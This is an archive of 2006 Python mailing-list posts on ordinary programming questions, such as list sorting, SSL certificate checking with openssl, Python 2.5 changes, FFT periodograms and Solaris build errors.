(=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 21 Oct 2006 18:06:18 +0200 Subject: ZODB and Python 2.5 In-Reply-To: References: Message-ID: <453A457A.9010505@v.loewis.de> Jean-Paul Calderone schrieb: > Python 2.5 made quite a changes which were not backwards compatible, > though. I think for the case of Python 2.4 -> Python 2.5 transition, > quite a few apps will be broken, many of them in relatively subtle > ways (for example, they may have been handling OSError instead of > WindowsError That shouldn't cause a problem, though: OSError is a base class of WindowsError, so if handled OSError, the same exception handlers will get invoked. The problem occurs when they had been handling WindowsError, and looked at errno, treating it as a windows error code: errno is now a real POSIX error number (with the same values that the errno module uses), and the windows error number is stored in an additional attribute. > or it might define a > slightly buggy but previously working __hash__ which returns the id() of > an object That shouldn't cause problems, either. It did cause problems in the beta release, but IIRC, somebody solved this before the release... > it might have relied on the atime and mtime fields of a > stat structure being integers rather than floats). This was actually changed in 2.3, not in 2.5; 2.5 just changed the value of os.stat_float_times. Advance warning about this change was given for quite some time (but certainly, most people have ignored it). Regards, Martin From fredrik at pythonware.com Wed Oct 25 03:07:39 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 09:07:39 +0200 Subject: Sorting by item_in_another_list In-Reply-To: <7x1woypbe1.fsf@ruckus.brouhaha.com> References: <7x1woypbe1.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: >> for example: >> >> A = [0,1,2,3,4,5,6,7,8,9,10] >> B = [2,3,7,8] >> >> desired_result = [2,3,7,8,0,1,4,5,6,9,10] > > How about: > > desired_result = B + sorted(x for x in A if x not in B) assuming that "keep the existing order" means what it says, you might as well replace "sorted" with a list comprehension. From tejovathi.p at gmail.com Fri Oct 13 05:38:28 2006 From: tejovathi.p at gmail.com (Teja) Date: 13 Oct 2006 02:38:28 -0700 Subject: Thread termination Message-ID: <1160732308.053202.225450@b28g2000cwb.googlegroups.com> Hi all, Does any one know how to terminate or kill a thread that is started with "start_new_thread()" in the middle of its execution? Any pointers? Thanks in advance Teja. From aisaac0 at verizon.net Wed Oct 25 09:15:36 2006 From: aisaac0 at verizon.net (David Isaac) Date: Wed, 25 Oct 2006 13:15:36 GMT Subject: numbers to string References: Message-ID: Robert Kern wrote: >>> from numpy import * >>> y = [116, 114, 121, 32, 116, 104, 105, 115] >>> a = array(y, dtype=uint8) >>> z = a.tostring() >>> z 'try this' Very nice! Thanks also to Paul and Travis! Alan Isaac From hanumizzle at gmail.com Fri Oct 6 04:46:44 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 04:46:44 -0400 Subject: Package to handle table text render (handle space or tab between the columns) ? In-Reply-To: <452613b6$0$5108$ba4acef3@news.orange.fr> References: <45260ab2$0$25946$ba4acef3@news.orange.fr> <452613b6$0$5108$ba4acef3@news.orange.fr> Message-ID: <463ff4860610060146rff153b9t24108ee36fdeec1f@mail.gmail.com> On 10/6/06, KLEIN St?phane wrote: > hanumizzle a ?crit : > > On 10/6/06, KLEIN St?phane wrote: > >> Hi, > >> > >> I would like print tabular values on terminal (stdout). Are there > >> package to handle table text render ? > > > > Have a look at: > > > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267662 > > Thanks, this package is very useful ! But I'm suprised than this package > isn't in python standard library ! The occurence of such a problem is relatively rare I would imagine. Rendering anything formatted to a character cell terminal is inherently limited, which is why I like lynx: it eliminates all the dumb formatting crap that people put on their websites, and even collapses multiple columns into a single stream of pages. Yay! See also reStructuredText for rendering plain text input to HTML and other formats (includes tables), sil vous plait. -- Theerasak From grahn+nntp at snipabacken.dyndns.org Thu Oct 5 07:12:49 2006 From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn) Date: 5 Oct 2006 11:12:49 GMT Subject: A Universe Set References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> <4523cc5f$0$25771$4d3efbfe@news.sover.net> Message-ID: On Wed, 04 Oct 2006 11:00:28 -0400, Leif K-Brooks wrote: > Jorgen Grahn wrote: >> - infinite xrange()s > > itertools.count()? Oops! You're right. The itertools documentation even refers to the SML and Haskell languages. And it contains itertools.izip(), another thing on my wish list. I have reasons to be Python 2.2 compatible, so I haven't really looked through the nice things in 2.3 and up (generators are in __future__ in 2.2). Stupid of me to overlook itertools, which I've read about here many times. /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From ianb at colorstudy.com Thu Oct 5 18:55:35 2006 From: ianb at colorstudy.com (Ian Bicking) Date: 5 Oct 2006 15:55:35 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: <1159878794.430315.38920@i3g2000cwc.googlegroups.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1159875634.285633.226980@k70g2000cwa.googlegroups.com> <1159878794.430315.38920@i3g2000cwc.googlegroups.com> Message-ID: <1160088935.394103.285320@e3g2000cwe.googlegroups.com> Paul Boddie wrote: > Perhaps, although I imagine that Trac would have a lot more uptake if > it handled more than just Subversion repositories. It handles some other kinds of repositories now (bzr, I think?). From what I understand fully abstracting out the repository format seems to still be a work in progress, but it is in progress and you can write repository plugins right now. [...] > I did briefly look at Trac to see whether I could hack in a WebStack > backend, and I'd do the same for ViewVC if I had the time, mostly > because such projects already duplicate a lot of effort just to permit > the deployment of the software on incompatible server solutions. > There's certainly a lot these solutions could learn from each other and > from lesser known solutions. Trac now includes a WSGI backend, and someone has written a WSGI backend for ViewVC (though I don't know if it is included with the project). Clearly you need to get on the WSGI bandwagon ;) Ian From joncle at googlemail.com Sat Oct 21 11:27:04 2006 From: joncle at googlemail.com (Jon Clements) Date: 21 Oct 2006 08:27:04 -0700 Subject: curious paramstyle qmark behavior In-Reply-To: <1161439068.615887.76140@i3g2000cwc.googlegroups.com> References: <1161374817.671583.175910@i3g2000cwc.googlegroups.com> <1161375830.733818.99070@i42g2000cwa.googlegroups.com> <1161377996.049154.118650@b28g2000cwb.googlegroups.com> <1161430119.994468.145810@h48g2000cwc.googlegroups.com> <1161439068.615887.76140@i3g2000cwc.googlegroups.com> Message-ID: <1161444424.177291.88050@m73g2000cwd.googlegroups.com> BartlebyScrivener wrote: > Jon Clements wrote: > > > if your load on the data-entry/browsing side isn't too heavy, you can > > use the 'development server' instead of installing a full-blown server > > such as Apache (I'm not sure if IIS is supported). > > What's IIS? It's Internet Information Services: the MS web/ftp server, that's standard on some window platforms (Control Panel->Add/Remove Software->Add/Remove Windows Components - or something like that). I assumed you were on Windows because of you mentioning Access. Good luck with your project Rick. All the best, Jon. From fredrik at pythonware.com Wed Oct 18 13:55:48 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 19:55:48 +0200 Subject: characters in python In-Reply-To: References: Message-ID: Stens wrote: > Can python handle this characters: ?,?,?,?,?? yes. > If can how" depends on the use case: are you trying to put them in source code, in files, on the terminal, ... ? From cameron.walsh at gmail.com Tue Oct 24 00:42:01 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Tue, 24 Oct 2006 12:42:01 +0800 Subject: Sorting by item_in_another_list In-Reply-To: References: Message-ID: Paul McGuire wrote: > "Cameron Walsh" wrote in message > news:ehk3p8$j3q$1 at enyo.uwa.edu.au... >> Hi, >> >> I have two lists, A and B, such that B is a subset of A. >> >> I wish to sort A such that the elements in B are at the beginning of A, >> and keep the existing order otherwise, i.e. stable sort. The order of >> elements in B will always be correct. >> >> for example: >> >> A = [0,1,2,3,4,5,6,7,8,9,10] >> B = [2,3,7,8] >> >> desired_result = [2,3,7,8,0,1,4,5,6,9,10] >> >> >> At the moment I have defined a comparator function: >> >> def sort_by_in_list(x,y): >> ret = 0 >> if x in B: >> ret -= 1 >> if y in B: >> ret += 1 >> return ret >> >> and am using: >> >> A.sort(sort_by_in_list) >> >> which does produce the desired results. >> >> I do now have a few questions: >> >> 1.) Is this the most efficient method for up to around 500 elements? If >> not, what would be better? >> 2.) This current version does not allow me to choose a different list for >> B. Is there a bind_third function of some description that I could use to >> define a new function with 3 parameters, feed it the third (the list to >> sort by), and have the A.sort(sort_by_in_list) provide the other 2 >> variables? >> > > Think in Python. Define a function to take the list, and have that function > return the proper comparison function. This gives me the chance to also > convert the input list to a set, which will help in scaling up my list to > hundreds of elements. See below. > > -- Paul > > > def sort_by_in_list(reflist): > reflist = set(reflist) > def sort_by_in_list_(x,y): > ret = 0 > if x in reflist: ret -= 1 > if y in reflist: ret += 1 > return ret > return sort_by_in_list_ > > A = [0,1,2,3,4,5,6,7,8,9,10] > B = [2,3,7,8] > A.sort( sort_by_in_list(B) ) > print A > > Gives: > [2, 3, 7, 8, 0, 1, 4, 5, 6, 9, 10] > > Looks like our answers crossed-over. Must learn about sets in Python... Thanks very much, Cameron. From premiergeneration at yahoo.com Thu Oct 26 13:56:22 2006 From: premiergeneration at yahoo.com (Yogesh Chawla - PD) Date: Thu, 26 Oct 2006 10:56:22 -0700 (PDT) Subject: SSL and confirming certs Message-ID: <20061026175622.63321.qmail@web82705.mail.mud.yahoo.com> Hello All, Here is a script I wrote to validate the cert sent by the server. It just makes system calls to open ssl. This is because python support is inadequate in this area. Let me know if this is helpful. I monkeyed with twisted, m2crypto, pyopenssl, and found myself sinking into a deep depression: import commands import urllib # Get a file-like object for the crl, this is a URL for the CRL f = urllib.urlopen("http://devca.wijis.state.wi.us/certenroll/devca.wijis.state.wi.us.crl") # Read from the object, storing the page's contents in 's'. s = f.read() f.close() #Write the CRL in DER format to a file outFile = open('./tempCerts/crlDER.crl', 'w') outFile.write(s) outFile.close() #Convert the CRL using openssl to a PEM file commands.getoutput('openssl crl -in ./tempCerts/crlDER.crl -out ./tempCerts/crlPEM.crl -inform DER ') #Store the root and intermediary of the server cert in a file #called yourChain.cer, here it is WijisChain.cer #Copy your CRL and your chair to tempCertChain.cer outFile = open('./tempCerts/tempCertChain.cer', 'w') outFilePermCer = open('./tempCerts/WijisChain.cer', 'r') outFileCRL = open('./tempCerts/crlPEM.crl', 'r') outFile.write(outFilePermCer.read()) outFile.write(outFileCRL.read()) outFile.close() outFilePermCer.close() outFileCRL.close() #Now actually get the server cert, dont know if this work on windows #You must pass in your client cert and private key #enter server port bigString = commands.getoutput('echo | openssl s_client -connect SERVER:PORT -key myserver.key -cert Yogesh02.cer') #Get the server cert out by parsing the output of the above openSSL command blockBegin = '-----BEGIN CERTIFICATE-----' blockEnd = '-----END CERTIFICATE-----' beginOuter = bigString.find(blockBegin) if beginOuter < 0: print 'Unable to continue: block begin string not found' beginInner = beginOuter + len(blockBegin) endInner = bigString.find(blockEnd) if endInner < 0: print 'Unable to continue: block end string not found' endOuter = endInner + len(blockEnd) blockWithDelims = bigString[beginOuter:endOuter] blockWithoutDelims = bigString[beginInner:endInner] #Write the server cert to a file outFile = open('./tempCerts/server.cer', 'w') outFile.write(blockWithDelims) outFile.write('\n') outFile.close() #Verify the server cert and check it against the CRL as well statusOutput = commands.getstatusoutput('openssl verify -CAfile ./tempCerts/tempCertChain.cer -purpose sslserver -crl_check ./tempCerts/server.cer') #Look at the output and cry or rejoice, drink beer here/repeat print statusOutput -------------- next part -------------- A non-text attachment was scrubbed... Name: bruteForce.py Type: application/octet-stream Size: 2283 bytes Desc: 1437792454-bruteForce.py URL: From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Mon Oct 30 02:08:28 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Mon, 30 Oct 2006 08:08:28 +0100 Subject: Event driven server that wastes CPU when threaded doesn't References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com> <1162156412.199341.315540@i42g2000cwa.googlegroups.com> Message-ID: <4qlmncFnjfn7U1@individual.net> Nick Vatamaniuc wrote: > If that is not an option, then you are faced with a problem of > connecting a threaded programming model with an event based model > (twisted and and such). I don't really see how threads could avoid a problem with delays in one connection ... Regards, Bj?rn -- BOFH excuse #175: OS swapped to disk From surendra.lingareddy at gmail.com Tue Oct 24 19:17:03 2006 From: surendra.lingareddy at gmail.com (Suren) Date: 24 Oct 2006 16:17:03 -0700 Subject: Stylesheet not respected In-Reply-To: <453e9c33$0$335$e4fe514c@news.xs4all.nl> References: <1161730422.793144.289690@f16g2000cwb.googlegroups.com> <453e9c33$0$335$e4fe514c@news.xs4all.nl> Message-ID: <1161731822.944027.57000@f16g2000cwb.googlegroups.com> It was nothing related to python but how my httpd.conf was setup. My apache conf was set to handle files under this. When I said href="body.css", it was looking under test\body.css. My project src was way deeper and I was assuming that it would like for the css file where the python source is. I am sure this is a newbie gotcha... Irmen de Jong wrote: > Suren wrote: > > I was able to the see weird stylesheet behavior on opera, IE and > > mozilla under > > mod_python. > [snip] > > I'm 99% sure this has nothing to do with Python but is just an error > in your CSS file. Show the CSS so we might be able to see the problem. > > One thing to check for though is that your web server is serving CSS > files with the correct content type (text/css and not text/plain or > somthing equally silly). > > --Irmen From aahz at pythoncraft.com Fri Oct 6 23:05:07 2006 From: aahz at pythoncraft.com (Aahz) Date: 6 Oct 2006 20:05:07 -0700 Subject: Names changed to protect the guilty References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> Message-ID: In article <1160182951.812677.178750 at i42g2000cwa.googlegroups.com>, MonkeeSage wrote: >On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote: >> >> The following line of lightly munged code was found in a publicly >> available Python library... > >Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh), >which was written by the very finger of God when the world was still in >chaotic darkness. Did you actually analyze the line of code? Particularly WRT the way it operates in different versions of Python? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "If you don't know what your program is supposed to do, you'd better not start writing it." --Dijkstra From scott.daniels at acm.org Thu Oct 5 15:15:10 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Thu, 05 Oct 2006 12:15:10 -0700 Subject: Resuming a program's execution after correcting error In-Reply-To: References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com> <1159483617.159482.169770@i3g2000cwc.googlegroups.com> <1159889617.610051.100990@b28g2000cwb.googlegroups.com> <1159919897.485421.305490@m73g2000cwd.googlegroups.com> <1159961371.260811.239240@c28g2000cwb.googlegroups.com> Message-ID: <452551c6$1@nntp0.pdx.net> Henning Hasemann wrote: > Sheldon wrote: ... >>>>>> Does anyone know if one can resume a python script at the error point >>>>>> after the error is corrected? >>>>>> I have a large program that take forever if I have to restart from >>>>>> scratch everytime. The error was the data writing a file so it seemed >>>>>> such a waste if all the data was lost and must be recalculated again. > > Sorry if this is off-topic here but Dylan (http://www.opendylan.org) is > a nice language (I sometimes like even more than python itself) that > allows you to continue the work right where the exception was thrown. As I have explained before in this newsgroup, Xerox Parc had that ability (the ability to finish an exception by returning to its source) in their system implementation language, and finally removed the capability when they saw how many bugs were related to its use. --Scott David Daniels scott.daniels at acm.org From http Mon Oct 2 14:02:52 2006 From: http (Paul Rubin) Date: 02 Oct 2006 11:02:52 -0700 Subject: Pythonic API design: detailed errors when you usually don't care References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com> Message-ID: <7x64f2siib.fsf@ruckus.brouhaha.com> Steve Holden writes: > I should have thought the simplest spelling of your requirements would be > > try: > do_something() > print "It worked" > except: > # it didn't This usage is generally disparaged because of the possibility of exceptions having nothing to do with do_something, including asynchronous exceptions like KeyboardInterrupt, that really should get handed up to higher levels of the program. An approach not mentioned is for do_something to arrange that its "expected" exceptions would all belong to subclasses of some single class, so you could catch all those exceptions at once: try: do_something() except SomethingException: # it didn't work or alternatively you could break out the individual subclasses: try: do_something() except SomethingHTTPException: # it didn't work for this reason except SomethingWhatsitException: # or that one Or alternatively you could just put everything in one exception with the underlying exception in the returned arg: try: do_something() except SomethingException, e: # it didn't work, e gives the reason ... def do_something(): try: do_something_1() # do the real something except (HTTPError, ApplicationError, ...), e: # pass detailed exception info up to the caller raise SomethingException, (sys.exc_info(), e) From fredrik at pythonware.com Thu Oct 26 09:49:48 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 15:49:48 +0200 Subject: doesnt seems to work can any help be provided References: <1161868888.823864.66700@f16g2000cwb.googlegroups.com> <4540bbd4$0$9134$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > Please take a few minutes to read this: > http://catb.org/esr/faqs/smart-questions.html or better, check if the the academic misconduct rules for the university you're attending happens to say anything about "collusion". From half.italian at gmail.com Fri Oct 6 05:43:33 2006 From: half.italian at gmail.com (half.italian at gmail.com) Date: 6 Oct 2006 02:43:33 -0700 Subject: Why do this? In-Reply-To: References: Message-ID: <1160127813.559855.47630@m73g2000cwd.googlegroups.com> Nobody's mentioned the ability to save a formatted string and then substitute the variables later... string = "There are %s ways to skin a %s" print string % (3, "furry animal") print string % (166, "beast") ~half.italian Matthew Warren wrote: > Ok, not really python focused, but it feels like the people here could > explain it for me :) > > Now, I started programming when I was 8 with BBC Basic. > > I never took any formal classes however, and I have never become an > expert programmer. I'm an average/hobbyist programmer with quite a few > languages under my belt but I cant do any really fancy tricks with any > of them. (although Python might be nudging me into more advanced things, > now I'm starting to get what all the __method__ thingies and operators > are all about) > > I learned over the years to do things like the following, and I like > doing it like this because of readability, something Python seems to > focus on :- > > Print "There are "+number+" ways to skin a "+furryanimal > > But nowadays, I see things like this all over the place; > > print("There are %s ways to skin a %s" % (number, furryanimal)) > > Now I understand there can be additional formatting benefits when > dealing with numbers, decimal places etc.. But to me, for strings, the > second case is much harder to read than the first. > > I hope I'm not being dense. > > The result is that I have pathalogically avoided print "%s" % (thing) > because it seems to just over complicate things. > > > Ta, :) > > Matt. > > > > > > This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. > > You should not copy the email, use it for any purpose or disclose its contents to any other person. > Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. > It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. > > UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK > Reception Tel: + 44 (0) 115 977 1177 > Support Centre: 0845 607 7070 > Fax: + 44 (0) 115 977 7000 > http://www.digica.com > > SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa > Tel: + 27 (0) 21 957 4900 > Fax: + 27 (0) 21 948 3135 > http://www.digica.com From ajikoe at gmail.com Thu Oct 19 20:30:45 2006 From: ajikoe at gmail.com (ajikoe at gmail.com) Date: 19 Oct 2006 17:30:45 -0700 Subject: python module for finite element program Message-ID: <1161304245.341556.304670@f16g2000cwb.googlegroups.com> Hello, Is there any add on python modules suitable for finite element 3D mesh such as to create (beam, plate, etc) ? Best Regards, ajikoe From bignose+hates-spam at benfinney.id.au Wed Oct 25 01:21:23 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 25 Oct 2006 15:21:23 +1000 Subject: Want to reduce steps of an operation with dictionaries References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> Message-ID: <87bqo1nf70.fsf@benfinney.id.au> pretoriano_2001 at hotmail.com writes: > I have next dictionaries: > a={'a':0, 'b':1, 'c':2, 'd':3} > b={'a':0, 'c':1, 'd':2, 'e':3} > I want to put in a new dictionary named c all the keys that are in b > and re-sequence the values. The result I want is: > c={'a':0, 'c':1, 'd':2} Okay, it seems that what you mean isn't what most of us understand by "re-sequence". I'm not sure what transformation you want to occur. The result you specify doesn't match your description, "a new dictionary named c all the keys that are in b and re-sequence the values", because the result you show doesn't have "all the keys that are in b". This gets a dictionary with the keys you want: >>> a = {'a':0, 'b':1, 'c':2, 'd':3} >>> b = {'a':0, 'c':1, 'd':2, 'e':3} >>> c = dict([(k,None) ... for k in a if k in b]) >>> print c {'a': None, 'c': None, 'd': None} though I don't understand what values you want in the dict. > How can I do this with one line of instruction? Why one line? As a general piece of advice, try writing dumb, obvious code that actually does the transformation you want, and then let us see that. Don't try to compress things into fewer lines unless that actually makes it clearer to read. > I attempted the next but the output is not the expected: > c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)]) "if b.has_key(k)" can be replaced with "if k in b", as above. > erroneously (for me) gets: > {'a': 0, 'c': 2, 'd': 3} Perhaps if you could write it as a series of for loops, or some other more obvious algorithm, we could understand what you actually want. -- \ "What if the Hokey Pokey IS what it's all about?" -- Anonymous | `\ | _o__) | Ben Finney From http Mon Oct 16 11:04:42 2006 From: http (Paul Rubin) Date: 16 Oct 2006 08:04:42 -0700 Subject: Strange Behavior References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com> Message-ID: <7xvemkz4hh.fsf@ruckus.brouhaha.com> Steven D'Aprano writes: > It isn't a bug in Python. At worst, it is a "gotcha", but it is a > deliberate design decision, and quite useful. For example, this is good > for caching complicated calculations: > > def function(x, _cache={}): > # _cache is initialised to an empty dictionary at compile time > if _cache.has_key(x): > return _cache[x] The above can be done explicitly: def function(x): if function._cache.has_key(x): return function._cache[x] ... # function gets an initially-empty cache function._cache = {} So the existing behavior, while not a bug (since it's documented), may well be a wart. From MonkeeSage at gmail.com Tue Oct 3 05:10:01 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 3 Oct 2006 02:10:01 -0700 Subject: I need Cryptogrphy in Python please . References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com> <1159863191.600082.78980@c28g2000cwb.googlegroups.com> <1159865178.605751.151280@i42g2000cwa.googlegroups.com> Message-ID: <1159866601.062591.109980@h48g2000cwc.googlegroups.com> NicolasG wrote: > I need the modules source to use it with my web server. I thought you were trying to compile and install the pyCrypto extension? If that is the case, then download the installer from the page I linked to. Regards, Jordan From exogen at gmail.com Thu Oct 26 05:02:35 2006 From: exogen at gmail.com (Brian Beck) Date: 26 Oct 2006 02:02:35 -0700 Subject: chained attrgetter In-Reply-To: <1161799222.831277.154340@e3g2000cwe.googlegroups.com> References: <1161799222.831277.154340@e3g2000cwe.googlegroups.com> Message-ID: <1161853355.298760.206550@f16g2000cwb.googlegroups.com> David S. wrote: > Does something like operator.getattr exist to perform a chained attr > lookup? > > I came up with the following, but I can not help but think it is > already done and done better. You were on the right track, but the built-in getattr is a perfectly good argument to reduce(), using operator.attrgetter just makes the definition more complicated (see my other post). -- Brian Beck Adventurer of the First Order From fakeaddress at nowhere.org Fri Oct 6 02:02:48 2006 From: fakeaddress at nowhere.org (Bryan Olson) Date: Fri, 06 Oct 2006 06:02:48 GMT Subject: socket client server... simple example... not working... In-Reply-To: <1160056909.927803.251790@i42g2000cwa.googlegroups.com> References: <1160015498.917617.256110@c28g2000cwb.googlegroups.com> <1160056909.927803.251790@i42g2000cwa.googlegroups.com> Message-ID: SpreadTooThin wrote: > Jean-Paul many thanks for this and your effort. > but why is it every time I try to do something with 'stock' python I > need another package? Twisted has it's fan, but you don't "need" it. Your code had a few specific problems, and fixing them has little or nothing to do with Twisted. > By the time I've finished my project there are like 5 3rd party add-ons > to be installed. > I know I'm a python newbie... but I'm far from a developer newbie and > that can be a recipe for > disaster. The stock socket should work and I think I've missed an > obvious bug in the code other > than checking the return status. Obviously you wanted to recv() on your 'clientsocket' not your 'seversocket'. You can use sendall() to send all the given data; it will raise an exception if it fails so there's no return code to check. Since TCP is a stream protocol and does not have any concept of message boundaries, you'll need to delimit messages within your protocol, and call recv() until you have an entire message. -- --Bryan From aitor69gonzalez at gmail.com Wed Oct 25 04:58:01 2006 From: aitor69gonzalez at gmail.com (aitor69gonzalez at gmail.com) Date: 25 Oct 2006 01:58:01 -0700 Subject: problem with fft periodogram Message-ID: <1161766681.731603.88100@m73g2000cwd.googlegroups.com> Hello, I am ploting a fft periodogram of my data using a script (found in internet: http://linuxgazette.net/115/andreasen.html ) that gave me good results before. There should be a periodicity of >160 in the data as can be seen by eye. However, this script now says that there is periodicity of ~9. Can somebody explain me what's wrong? Thank you in advance. I present first the python script and second my data. ###### usage ############ python ######### PYTHON SCRIPT ########### from scipy import * import scipy.io.array_import from scipy import gplt from scipy import fftpack # Read file f=open(sys.argv[1], 'r') tempdata = scipy.io.array_import.read_array(f) minutes=tempdata[:,0] wolfer=tempdata[:,1] # plot data gplt.plot(minutes,wolfer,'title "Meas" with linespoints') gplt.xtitle('Minutes') gplt.ytitle('Wolfer number') gplt.grid("off") Y=fft(wolfer) n=len(Y) power = abs(Y[1:(n/2)])**2 nyquist=1./2 print nyquist freq=array(range(n/2))/(n/2.0)*nyquist period=1./freq # plot period gplt.plot(period[1:len(period)], power,'title "Simul" with linespoints') gplt.xaxis((50,400)) gplt.xtitle('Period [minutes]') gplt.ytitle('|FFT|**2') ########################## ######## DATA ############ 0 48 20 49 40 54 60 49 80 69 100 92 120 98 140 58 160 50 180 66 200 76 220 82 240 119 260 141 280 128 300 107 320 93 340 78 360 74 380 74 400 93 420 109 440 135 460 118 480 90 500 64 520 58 540 56 560 70 580 90 600 115 620 158 640 150 660 96 680 73 700 61 720 55 740 66 760 81 780 116 800 142 820 111 840 102 860 84 880 64 ################# From jblaine at mitre.org Mon Oct 30 15:51:46 2006 From: jblaine at mitre.org (Jeff Blaine) Date: Mon, 30 Oct 2006 15:51:46 -0500 Subject: Odd build errors Message-ID: We have a GCC in /usr/rcf that was not built with --disable-shared. As such, there is a /usr/rcf/lib/libgcc_s.so. We also have a (preferred) GCC in /afs/rcf/lang/gcc/current that was built with --disable-shared. As such, there is no /afs/rcf/lang/gcc/current/lib/libgcc_s.so and binaries built with this compiler do not link to any shared libgcc_s. I have the following problem with Python 2.4.2. I also tried 2.4.4. Moving up to 2.5 is not an option. Problem: Builds fine! Rebuild after dropping in Setup.local causes some magic new build process that ends up finding and linking in /usr/rcf/lib/libgcc_s.so ! =============================================================================== PATH=/afs/rcf/lang/gcc/sun4x_59/4.1.1/bin:/usr/ccs/bin:/usr/bin:/bin:/usr/ucb # NOTE: No reference to /usr/rcf/bin, therefore NO picking up the bogus # GCC and its shared libgcc_s.so =============================================================================== sun4x_59:cairo> ../configure --prefix=/afs/rcf/lang/python/sun4x_59/2.4.2 sun4x_59:cairo> make ... =============================================================================== # after successful build... sun4x_59:cairo> ldd python libresolv.so.2 => /usr/lib/libresolv.so.2 libsocket.so.1 => /usr/lib/libsocket.so.1 libnsl.so.1 => /usr/lib/libnsl.so.1 librt.so.1 => /usr/lib/librt.so.1 libdl.so.1 => /usr/lib/libdl.so.1 libm.so.1 => /usr/lib/libm.so.1 libpthread.so.1 => /usr/lib/libpthread.so.1 libc.so.1 => /usr/lib/libc.so.1 libmp.so.2 => /usr/lib/libmp.so.2 libaio.so.1 => /usr/lib/libaio.so.1 libmd5.so.1 => /usr/lib/libmd5.so.1 libthread.so.1 => /usr/lib/libthread.so.1 /usr/platform/SUNW,Sun-Fire-280R/lib/libc_psr.so.1 /usr/platform/SUNW,Sun-Fire-280R/lib/libmd5_psr.so.1 sun4x_59:cairo> # # Ta daaa! No libgcc_s.so linked in. GOOD. # # Now we drop our Setup.local in place for Solaris 9. # sun4x_59:cairo> cp ~/Python242.sun4x_59.Setup.local Modules/Setup.local =============================================================================== sun4x_59:cairo> make ... c++ -pthread -o python \ Modules/python.o \ libpython2.4.a -lresolv -lsocket -lnsl -lrt -ldl -L/afs/rcf/lang/tcl/@sys/8.2.3/lib -R/afs/rcf/lang/tcl/@sys/8.2.3/lib -L/afs/rcf/lang/tk/@sys/8.2.3/lib -R/afs/rcf/lang/tk/@sys/8.2.3/lib -ltk8.2 -ltcl8.2 -L/usr/openwin/lib -R/usr/openwin/lib -lX11 -R/usr/rcf/lib -L/usr/rcf/lib -lreadline -ltermcap -L/usr/rcf/lib -R/usr/rcf/lib -lssl -lcrypto -L/usr/rcf/lib -R/usr/rcf/lib -lgdbm -L/usr/rcf/lib -R/usr/rcf/lib -lz -lm ld: warning: global symbol `_GLOBAL_OFFSET_TABLE_' has non-global binding: (file /usr/rcf/lib/libstdc++.so value=LOCL); ld: warning: global symbol `_GLOBAL_OFFSET_TABLE_' has non-global binding: (file /usr/rcf/lib/libgcc_s.so.1 value=LOCL); case $MAKEFLAGS in \ *-s*) CC='gcc -pthread' LDSHARED='gcc -pthread -shared' OPT='-DNDEBUG -g -O3 -Wall -Wstrict-prototypes' ./python -E ../setup.py -q build;; \ *) CC='gcc -pthread' LDSHARED='gcc -pthread -shared' OPT='-DNDEBUG -g -O3 -Wall -Wstrict-prototypes' ./python -E ../setup.py build;; \ esac ld.so.1: python: fatal: libgcc_s.so.1: open failed: No such file or directory Killed make: *** [sharedmods] Error 137 sun4x_59:cairo> ldd python libresolv.so.2 => /usr/lib/libresolv.so.2 libsocket.so.1 => /usr/lib/libsocket.so.1 libnsl.so.1 => /usr/lib/libnsl.so.1 librt.so.1 => /usr/lib/librt.so.1 libdl.so.1 => /usr/lib/libdl.so.1 libX11.so.4 => /usr/openwin/lib/libX11.so.4 libcurses.so.1 => /usr/lib/libcurses.so.1 libgdbm.so.2 => /usr/rcf/lib/libgdbm.so.2 libstdc++.so.5 => /usr/rcf/lib/libstdc++.so.5 libm.so.1 => /usr/lib/libm.so.1 libpthread.so.1 => /usr/lib/libpthread.so.1 libc.so.1 => /usr/lib/libc.so.1 libmp.so.2 => /usr/lib/libmp.so.2 libaio.so.1 => /usr/lib/libaio.so.1 libmd5.so.1 => /usr/lib/libmd5.so.1 libXext.so.0 => /usr/openwin/lib/libXext.so.0 libgcc_s.so.1 => (file not found) # NOOOOOO libthread.so.1 => /usr/lib/libthread.so.1 /usr/platform/SUNW,Sun-Fire-280R/lib/libc_psr.so.1 /usr/platform/SUNW,Sun-Fire-280R/lib/libmd5_psr.so.1 sun4x_59:cairo> From devs at usa.net Tue Oct 3 21:41:13 2006 From: devs at usa.net (devs at usa.net) Date: 3 Oct 2006 18:41:13 -0700 Subject: Chief Software Architect Position Message-ID: 